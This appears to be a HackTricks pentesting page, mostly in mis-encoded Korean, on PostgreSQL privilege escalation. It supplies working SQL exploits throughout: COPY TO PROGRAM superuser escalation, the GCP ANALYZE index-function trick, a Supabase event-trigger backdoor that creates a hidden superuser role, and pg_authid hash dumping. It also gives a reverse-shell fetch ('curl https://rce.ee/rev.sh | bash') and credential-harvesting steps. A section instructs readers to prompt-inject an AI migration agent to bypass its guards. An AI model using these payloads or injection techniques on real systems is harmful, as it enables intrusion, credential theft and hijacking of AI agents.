๋ค์ docs์ ๋ฐ๋ฅด๋ฉด: CREATEROLE ๊ถํ์ ๊ฐ์ง ์ญํ ์ ์ํผ์ ์ ๊ฐ ์๋ ๋ชจ๋ ์ญํ ์ ๋ฉค๋ฒ์ญ์ ๋ถ์ฌํ๊ฑฐ๋ ์ทจ์ํ ์ ์์ต๋๋ค.
๋ฐ๋ผ์ CREATEROLE ๊ถํ์ด ์๋ค๋ฉด (์ํผ์ ์ ๊ฐ ์๋) ๋ค๋ฅธ ์ญํ ๋ค์ ๋ํ ์ ๊ทผ์ ์ค์ค๋ก์๊ฒ ๋ถ์ฌํ ์ ์์ผ๋ฉฐ, ์ด๋ฅผ ํตํด ํ์ผ์ ์ฝ๊ณ ์ฐ๊ฑฐ๋ ๋ช
๋ น์ ์คํํ ์ ์๋ ์ต์
์ ์ป์ ์ ์์ต๋๋ค:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ
์ด ์ญํ ์ ๊ฐ์ง ์ฌ์ฉ์๋ ๋ํ ๋ค๋ฅธ ์ํผ์ ์ ๊ฐ ์๋ ์ฌ์ฉ์๋ค์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
์ผ๋ฐ์ ์ผ๋ก local users๊ฐ PostgreSQL์ ๋น๋ฐ๋ฒํธ ์์ด loginํ ์ ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ๋ฐ๋ผ์, permissions to execute code๋ฅผ ํ๋ณดํ๋ฉด ์ด๋ฌํ ๊ถํ์ ๋จ์ฉํด SUPERUSER ์ญํ ์ ์ป์ ์ ์์ต๋๋ค:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
Tip
์ผ๋ฐ์ ์ผ๋ก ๋ค์
pg_hba.confํ์ผ์ ํญ๋ชฉ๋ค ๋๋ฌธ์ ์ด๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค:# "local" is for Unix domain socket connections only local all all trust # IPv4 local connections: host all all 127.0.0.1/32 trust # IPv6 local connections: host all all ::1/128 trust
ALTER TABLE privesc
this writeup์์๋ ์ฌ์ฉ์์๊ฒ ๋ถ์ฌ๋ ALTER TABLE ๊ถํ์ ์ ์ฉํ์ฌ Postgres GCP์์ ์ด๋ป๊ฒ privesc๊ฐ ๊ฐ๋ฅํ๋์ง ์ค๋ช ํฉ๋๋ค.
๋ค๋ฅธ ์ฌ์ฉ์๋ฅผ ํ ์ด๋ธ์ ์์ ์๋ก ๋ง๋ค๋ ค๊ณ ํ๋ฉด ์ด๋ฅผ ๋ฐฉ์งํ๋ ์๋ฌ๊ฐ ๋ฐ์ํด์ผ ํ์ง๋ง, GCP์์๋ ํด๋น ์ต์ ์ ๋น-์ํผ์ ์ postgres ์ฌ์ฉ์์๊ฒ ๋ถ์ฌํ ๊ฒ์ฒ๋ผ ๋ณด์์ต๋๋ค:
.png)
์ด ์์ด๋์ด์, INSERT/UPDATE/ANALYZE ๋ช ๋ น์ด ์ธ๋ฑ์ค ํจ์๊ฐ ์๋ ํ ์ด๋ธ์์ ์คํ๋ ๋ ํด๋น ํจ์๊ฐ ๋ช ๋ น์ ์ผ๋ถ๋ก์ ํ ์ด๋ธ ์์ ์์ ๊ถํ์ผ๋ก ํธ์ถ๋๋ค๋ ์ฌ์ค์ ๊ฒฐํฉํ๋ฉด, ํจ์๋ก ์ธ๋ฑ์ค๋ฅผ ์์ฑํ๊ณ ๊ทธ ํ ์ด๋ธ์ ๋ํด ์์ ์ ๊ถํ์ super user์๊ฒ ๋ถ์ฌํ ๋ค ์ ์ฑ ํจ์๋ฅผ ํฌํจํ ์ํ๋ก ANALYZE๋ฅผ ์คํํ๋ฉด, ๊ทธ ํจ์๋ ์์ ์์ ๊ถํ์ ์ฌ์ฉํ์ฌ ๋ช ๋ น์ ์คํํ ์ ์๊ฒ ๋์ด ์์ ๋ช ๋ น์ ์คํํ ์ ์๊ฒ ๋ฉ๋๋ค.
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Exploitation
- ์ ํ ์ด๋ธ์ ์์ฑํ๋ ๊ฒ์ผ๋ก ์์ํฉ๋๋ค.
- index function์ ์ํ ๋ฐ์ดํฐ๋ฅผ ์ ๊ณตํ๊ธฐ ์ํด ํ ์ด๋ธ์ ๊ด๋ จ ์๋ ๋ด์ฉ์ ์ฝ์ ํฉ๋๋ค.
- code execution payload๋ฅผ ํฌํจํ๋ ์ ์ฑ index function์ ๊ฐ๋ฐํ์ฌ ๊ถํ ์๋ ๋ช ๋ น์ด ์คํ๋๋๋ก ๋ง๋ญ๋๋ค.
- ALTER๋ก ํ ์ด๋ธ์ ์์ ์๋ฅผ โcloudsqladminโ์ผ๋ก ๋ณ๊ฒฝํฉ๋๋ค. โcloudsqladminโ์ Cloud SQL์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๊ด๋ฆฌยท์ ์งํ๊ธฐ ์ํด GCP์์ ์ ์ฉ์ผ๋ก ์ฌ์ฉํ๋ superuser ์ญํ ์ ๋๋ค.
- ํ ์ด๋ธ์ ๋ํด ANALYZE๋ฅผ ์ํํฉ๋๋ค. ์ด ์์ ์ PostgreSQL ์์ง์ด ํ ์ด๋ธ ์์ ์ โcloudsqladminโ์ ์ฌ์ฉ์ ์ปจํ ์คํธ๋ก ์ ํํ๋๋ก ๊ฐ์ ํ๋ฉฐ, ๊ทธ ๊ฒฐ๊ณผ ์ ์ฑ index function์ด โcloudsqladminโ ๊ถํ์ผ๋ก ํธ์ถ๋์ด ์ด์ ์ ๊ถํ์ด ์๋ shell command๋ฅผ ์คํํ ์ ์๊ฒ ๋ฉ๋๋ค.
In PostgreSQL, this flow looks something like this:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
๊ทธ๋ฐ ๋ค์, shell_commands_results ํ
์ด๋ธ์๋ ์คํ๋ code์ ์ถ๋ ฅ์ด ํฌํจ๋ฉ๋๋ค:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
๋ก์ปฌ ๋ก๊ทธ์ธ
์ผ๋ถ ์๋ชป ๊ตฌ์ฑ๋ postgresql ์ธ์คํด์ค๋ ์์์ ๋ก์ปฌ ์ฌ์ฉ์๋ก ๋ก๊ทธ์ธํ ์ ์๊ฒ ํ์ฉํ ์ ์์ผ๋ฉฐ, dblink ํจ์๋ฅผ ์ฌ์ฉํด 127.0.0.1์์ ๋ก์ปฌ๋ก ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
Warning
์ด์ ์ฟผ๋ฆฌ๊ฐ ์๋ํ๋ ค๋ฉด ํจ์
dblink๊ฐ ์กด์ฌํด์ผ ํฉ๋๋ค. ์กด์ฌํ์ง ์๋ ๊ฒฝ์ฐ ๋ค์ ๋ช ๋ น์ผ๋ก ์์ฑํด ๋ณผ ์ ์์ต๋๋คCREATE EXTENSION dblink;
๋ ๋์ ๊ถํ์ ๊ฐ์ง ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์๊ณ ์์ง๋ง ํด๋น ์ฌ์ฉ์๊ฐ ์ธ๋ถ IP์์ ๋ก๊ทธ์ธํ ์ ์๋ ๊ฒฝ์ฐ, ๋ค์ ํจ์๋ฅผ ์ฌ์ฉํด ๊ทธ ์ฌ์ฉ์๋ก ์ฟผ๋ฆฌ๋ฅผ ์คํํ ์ ์์ต๋๋ค:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
์ด ํจ์๊ฐ ์กด์ฌํ๋์ง ๋ค์๊ณผ ๊ฐ์ด ํ์ธํ ์ ์์ต๋๋ค:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
SECURITY DEFINER๊ฐ ์ค์ ๋ ์ฌ์ฉ์ ์ ์ ํจ์
In this writeup, pentesters๋ IBM์ด ์ ๊ณตํ postgres ์ธ์คํด์ค ๋ด๋ถ์์ privesc๋ฅผ ์ํํ ์ ์์์ต๋๋ค. ๊ทธ ์ด์ ๋ ๊ทธ๋ค์ด ์ด ํจ์๊ฐ SECURITY DEFINER ํ๋๊ทธ๋ฅผ ๊ฐ์ง๊ณ ์๋ค๋ ๊ฒ์ ๋ฐ๊ฒฌํ๊ธฐ ๋๋ฌธ์ ๋๋ค:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
โฆ
explained in the docs์ ๋ฐ๋ฅด๋ฉด, SECURITY DEFINER๊ฐ ์ค์ ๋ ํจ์๋ ๊ทธ ํจ์๋ฅผ ์์ ํ ์ฌ์ฉ์์ ๊ถํ์ผ๋ก ์คํ๋ฉ๋๋ค. ๋ฐ๋ผ์ ํจ์๊ฐ SQL Injection์ ์ทจ์ฝํ๊ฑฐ๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํ๋ผ๋ฏธํฐ๋ก ํน๊ถ ์์ ์ ์ํํ๋ค๋ฉด, ํด๋น ํจ์๋ฅผ ์ ์ฉํ์ฌ postgres ๋ด๋ถ์์ ๊ถํ ์์น์ ์ผ์ผํฌ ์ ์์ต๋๋ค.
์ด์ ์ฝ๋์ 4๋ฒ์งธ ์ค์์ ํด๋น ํจ์๊ฐ SECURITY DEFINER ํ๋๊ทธ๋ฅผ ๊ฐ์ง๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
And then execute commands:
.png)
Pass Burteforce with PL/pgSQL
PL/pgSQL์ ์์ ํ ๊ธฐ๋ฅ์ ๊ฐ์ถ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด๋ก, SQL์ ๋นํด ๋ ๊ฐ๋ ฅํ ์ ์ฐจ์ ์ ์ด๋ฅผ ์ ๊ณตํฉ๋๋ค. ํ๋ก๊ทธ๋จ ๋ก์ง์ ํฅ์์ํค๊ธฐ ์ํด loops ๋ฐ ๊ธฐํ control structures์ ์ฌ์ฉ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ๋ํ, SQL statements ๋ฐ triggers๋ PL/pgSQL language๋ก ์์ฑ๋ ํจ์๋ฅผ ํธ์ถํ ์ ์์ต๋๋ค. ์ด ํตํฉ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ๋ก๊ทธ๋๋ฐ๊ณผ ์๋ํ์ ๋ํด ๋ณด๋ค ํฌ๊ด์ ์ด๊ณ ๋ค์ฉ๋์ ์ธ ์ ๊ทผ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
์ด ์ธ์ด๋ฅผ ์
์ฉํ๋ฉด PostgreSQL์ ์ฌ์ฉ์ ์๊ฒฉ ์ฆ๋ช
์ brute-forceํ๋๋ก ์์ฒญํ ์ ์์ต๋๋ค.
Privesc by Overwriting Internal PostgreSQL Tables
Tip
๋ค์ privesc ๋ฒกํฐ๋ ์ ํ๋ SQLi ์ํฉ์์ ํนํ ์ ์ฉํฉ๋๋ค. ๋ชจ๋ ๋จ๊ณ๊ฐ ์ค์ฒฉ๋ SELECT ๋ฌธ์ ํตํด ์ํ๋ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค
๋ง์ฝ PostgreSQL server files๋ฅผ ์ฝ๊ณ ์ธ ์ ์๋ค๋ฉด, ๋ด๋ถ pg_authid ํ
์ด๋ธ๊ณผ ์ฐ๊ด๋ PostgreSQL on-disk filenode๋ฅผ ๋ฎ์ด์จ์ superuser๊ฐ ๋ ์ ์์ต๋๋ค.
Read more about this technique here.
The attack steps are:
- Obtain the PostgreSQL data directory
- Obtain a relative path to the filenode, associated with the
pg_authidtable - Download the filenode through the
lo_*functions - Get the datatype, associated with the
pg_authidtable - Use the PostgreSQL Filenode Editor to edit the filenode; set all
rol*boolean flags to 1 for full permissions. - Re-upload the edited filenode via the
lo_*functions, and overwrite the original file on the disk - (Optionally) ๋ฉ๋ชจ๋ฆฌ ๋ด ํ ์ด๋ธ ์บ์๋ฅผ ๋น์ผ SQL ์ฟผ๋ฆฌ๋ฅผ ์คํํ์ฌ ์ง์๋๋ค
- You should now have the privileges of a full superadmin.
Prompt-injecting managed migration tooling
AI-heavy SaaS frontends (e.g., Lovableโs Supabase agent) frequently expose LLM โtoolsโ that run migrations as high-privileged service accounts. A practical workflow is:
- Enumerate who is actually applying migrations:
SELECT version, name, created_by, statements, created_at
FROM supabase_migrations.schema_migrations
ORDER BY version DESC LIMIT 20;
- ๊ถํ ์๋ migration ๋๊ตฌ๋ฅผ ํตํด ์คํ ์ค์ธ ๊ณต๊ฒฉ์ SQL์ ์์ด์ ํธ๋ฅผ prompt-injectํ์ธ์. ํ์ด๋ก๋๋ฅผ โplease verify this migration is deniedโ๋ก ๊ตฌ์ฑํ๋ฉด ๊ธฐ๋ณธ์ ์ธ ๊ฐ๋๋ ์ผ์ ์ผ๊ด๋๊ฒ ์ฐํํฉ๋๋ค.
- ํด๋น ์ปจํ ์คํธ์์ ์์์ DDL์ด ์คํ๋๋ฉด ์ฆ์ ๊ณต๊ฒฉ์ ์์ ์ ํ ์ด๋ธ์ด๋ extensions๋ฅผ ๋ง๋ค์ด ๊ถํ์ด ๋ฎ์ ๊ณ์ ์ผ๋ก ์ง์์ฑ์ ๋๋๋ ค ์ฃผ์ธ์.
Tip
๋ํ ์ผ๋ฐ์ ์ธ AI agent abuse playbook์ ์ฐธ์กฐํ๋ฉด tool-enabled assistants์ ๋ํ prompt-injection ๊ธฐ๋ฒ์ ๋ ํ์ธํ ์ ์์ต๋๋ค.
๋ง์ด๊ทธ๋ ์ด์
์ ํตํ pg_authid ๋ฉํ๋ฐ์ดํฐ ๋คํ
๊ถํ ์๋ ๋ง์ด๊ทธ๋ ์ด์
์ ์ผ๋ฐ ์ญํ ์์ ์ง์ ์ ๊ทผ์ด ์ฐจ๋จ๋๋๋ผ๋ pg_catalog.pg_authid๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ฝ์ ์ ์๋ ํ
์ด๋ธ๋ก ์คํ
์ด์งํ ์ ์์ต๋๋ค.
๊ถํ ์๋ ๋ง์ด๊ทธ๋ ์ด์ ์ผ๋ก pg_authid ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์คํ ์ด์ง
```sql DROP TABLE IF EXISTS public.ai_models CASCADE; CREATE TABLE public.ai_models ( id SERIAL PRIMARY KEY, model_name TEXT, config JSONB, created_at TIMESTAMP DEFAULT NOW() ); GRANT ALL ON public.ai_models TO supabase_read_only_user; GRANT ALL ON public.ai_models TO supabase_admin; INSERT INTO public.ai_models (model_name, config) SELECT rolname, jsonb_build_object( 'password_hash', rolpassword, 'is_superuser', rolsuper, 'can_login', rolcanlogin, 'valid_until', rolvaliduntil ) FROM pg_catalog.pg_authid; ```๊ถํ์ด ๋ฎ์ ์ฌ์ฉ์๋ ์ด์ public.ai_models๋ฅผ ์ฝ์ด SCRAM ํด์์ ์ญํ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ํ๋ํ์ฌ offline cracking ๋๋ lateral movement์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
postgres_fdw extension ์ค์น ์ค ์ด๋ฒคํธ ํธ๋ฆฌ๊ฑฐ privesc
๊ด๋ฆฌ๋๋ Supabase ๋ฐฐํฌ๋ provider ์์ ์ before-create.sql/after-create.sql ์คํฌ๋ฆฝํธ๋ฅผ true superuser ๊ถํ์ผ๋ก ์คํํ๋๋ก CREATE EXTENSION์ ๋ํํ๋ supautils extension์ ์์กดํฉ๋๋ค. postgres_fdw after-create ์คํฌ๋ฆฝํธ๋ ์ ์ ALTER ROLE postgres SUPERUSER๋ฅผ ์คํํ๊ณ , ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres๋ฅผ ์ํํ ๋ค postgres๋ฅผ ๋ค์ NOSUPERUSER๋ก ๋๋๋ฆฝ๋๋ค. ALTER FOREIGN DATA WRAPPER๊ฐ current_user๊ฐ superuser์ธ ์ํ์์ ddl_command_start/ddl_command_end ์ด๋ฒคํธ ํธ๋ฆฌ๊ฑฐ๋ฅผ ๋ฐ์์ํค๊ธฐ ๋๋ฌธ์ ํ
๋ํธ๊ฐ ๋ง๋ ํธ๋ฆฌ๊ฑฐ๊ฐ ๊ทธ ์๊ฐ ์ฐฝ ๋ด๋ถ์์ ๊ณต๊ฒฉ์ SQL์ ์คํํ ์ ์์ต๋๋ค.
Exploit flow:
- PL/pgSQL ์ด๋ฒคํธ ํธ๋ฆฌ๊ฑฐ ํจ์๋ฅผ ์์ฑํ์ฌ
SELECT usesuper FROM pg_user WHERE usename = current_user๋ฅผ ํ์ธํ๊ณ , true์ธ ๊ฒฝ์ฐ ๋ฐฑ๋์ด ์ญํ ์ ํ๋ก๋น์ ๋ํฉ๋๋ค(์:CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'). - ํด๋น ํจ์๋ฅผ
ddl_command_start์ddl_command_end๋ ๋ค์ ๋ฑ๋กํฉ๋๋ค. - Supabase์ after-create ํ
์ ๋ค์ ์คํํ๊ธฐ ์ํด
DROP EXTENSION IF EXISTS postgres_fdw CASCADE;๋ค์์CREATE EXTENSION postgres_fdw;๋ฅผ ์คํํฉ๋๋ค. - ํ
์ด
postgres๋ฅผ ๊ถํ ์์น์ํค๋ฉด ํธ๋ฆฌ๊ฑฐ๊ฐ ์คํ๋์ด ์ง์์ ์ธ SUPERUSER ์ญํ ์ ์์ฑํ๊ณ ,postgres๊ฐSET ROLE๋ก ์ฝ๊ฒ ์ ๊ทผํ ์ ์๋๋ก ํด๋น ์ญํ ์postgres์๊ฒ ๋ถ์ฌํฉ๋๋ค.
postgres_fdw after-create window์ ์ํ ์ด๋ฒคํธ ํธ๋ฆฌ๊ฑฐ PoC
```sql CREATE OR REPLACE FUNCTION escalate_priv() RETURNS event_trigger AS $$ DECLARE is_super BOOLEAN; BEGIN SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user; IF is_super THEN BEGIN EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123'''; EXCEPTION WHEN duplicate_object THEN NULL; END; BEGIN EXECUTE 'GRANT priv_esc TO postgres'; EXCEPTION WHEN OTHERS THEN NULL; END; END IF; END; $$ LANGUAGE plpgsql;DROP EVENT TRIGGER IF EXISTS log_start CASCADE; DROP EVENT TRIGGER IF EXISTS log_end CASCADE; CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv(); CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();
DROP EXTENSION IF EXISTS postgres_fdw CASCADE; CREATE EXTENSION postgres_fdw;
</details>
Supabase์ ์๋๋ unsafe triggers๋ฅผ ๊ฑด๋๋ฐ๋ ค ํ ๋ ์์ ๊ถ๋ง ํ์ธํ๋ฏ๋ก, ํธ๋ฆฌ๊ฑฐ ํจ์์ ์์ ์๊ฐ ๋ฎ์ ๊ถํ ์ญํ ์ธ์ง ํ์ธํ๋ผ. ๊ทธ๋ฌ๋ ํ์ด๋ก๋๋ ํ
์ด `current_user`๋ฅผ SUPERUSER๋ก ์ ํํ ๋๋ง ์คํ๋๋ค. ํธ๋ฆฌ๊ฑฐ๊ฐ ์ดํ DDL์์ ์ฌ์คํ๋๊ธฐ ๋๋ฌธ์, ๊ณต๊ธ์๊ฐ ํ
๋ํธ ์ญํ ์ ์ ๊น ์ฌ๋ฆด ๋๋ง๋ค ์์ฒด ์น์ ๋๋ persistence backdoor๋ก๋ ๋์ํ๋ค.
### ์ผ์์ ์ธ SUPERUSER ์ ๊ทผ์ host compromise๋ก ์ ํํ๊ธฐ
`SET ROLE priv_esc;`๊ฐ ์ฑ๊ณตํ๋ฉด, ์ด์ ์ ์ฐจ๋จ๋ primitives๋ฅผ ๋ค์ ์คํํ๋ผ:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';
pg_read_file/COPY ... TO PROGRAM์ ์ด์ ๋ฐ์ดํฐ๋ฒ ์ด์ค OS ๊ณ์ ์ผ๋ก ์์์ ํ์ผ ์ ๊ทผ ๋ฐ ๋ช
๋ น ์คํ์ ์ ๊ณตํฉ๋๋ค. ์ดํ standard host privilege escalation์ ์ํํ์ธ์:
find / -perm -4000 -type f 2>/dev/null
Abusing a misconfigured SUID binary or writable config grants root. Once root, harvest orchestration credentials (systemd unit env files, /etc/supabase, kubeconfigs, agent tokens) to pivot laterally across the providerโs region.
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
๋ก๊น
postgresql.conf ํ์ผ ์์์ ๋ค์์ ๋ณ๊ฒฝํ์ฌ postgresql ๋ก๊ทธ๋ฅผ ํ์ฑํํ ์ ์์ต๋๋ค:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
๊ทธ๋ฐ ๋ค์, ์๋น์ค๋ฅผ ์ฌ์์ํ์ธ์.
pgadmin
pgadmin์ PostgreSQL์ฉ ๊ด๋ฆฌ ๋ฐ ๊ฐ๋ฐ ํ๋ซํผ์
๋๋ค.
ํ์ผ pgadmin4.db ์์์ passwords๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค
ํด๋น ์คํฌ๋ฆฝํธ ๋ด์ decrypt ํจ์๋ก ๋ณตํธํํ ์ ์์ต๋๋ค: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
PostgreSQL์ ํด๋ผ์ด์ธํธ ์ธ์ฆ์ pg_hba.conf๋ผ๋ ๊ตฌ์ฑ ํ์ผ๋ก ๊ด๋ฆฌ๋ฉ๋๋ค. ์ด ํ์ผ์๋ ์ฐ๊ฒฐ ์ ํ, ํด๋ผ์ด์ธํธ IP ์ฃผ์ ๋ฒ์(ํด๋น๋๋ ๊ฒฝ์ฐ), ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ, ์ฌ์ฉ์ ์ด๋ฆ ๋ฐ ์ฐ๊ฒฐ ๋งค์นญ์ ์ฌ์ฉํ ์ธ์ฆ ๋ฐฉ๋ฒ์ ์ง์ ํ๋ ์ผ๋ จ์ ๋ ์ฝ๋๊ฐ ํฌํจ๋ฉ๋๋ค. ์ฐ๊ฒฐ ์ ํ, ํด๋ผ์ด์ธํธ ์ฃผ์, ์์ฒญ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ฐ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ์ผ์นํ๋ ์ฒซ ๋ฒ์งธ ๋ ์ฝ๋๊ฐ ์ธ์ฆ์ ์ฌ์ฉ๋ฉ๋๋ค. ์ธ์ฆ์ ์คํจํ๋๋ผ๋ ๋์ฒด ๊ฒฝ๋ก๋ ๋ฐฑ์ ์ด ์์ต๋๋ค. ์ผ์นํ๋ ๋ ์ฝ๋๊ฐ ์์ผ๋ฉด ์ ๊ทผ์ด ๊ฑฐ๋ถ๋ฉ๋๋ค.
The available password-based authentication methods in pg_hba.conf are md5, crypt, and password. These methods differ in how the password is transmitted: MD5-hashed, crypt-encrypted, or clear-text. Itโs important to note that the crypt method cannot be used with passwords that have been encrypted in pg_authid.
References
- SupaPwn: Hacking Our Way into Lovableโs Office and Helping Secure Supabase
- HTB: DarkCorp by 0xdf
- PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM
- Postgres SQL injection to RCE with archive_command (The Gray Area)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


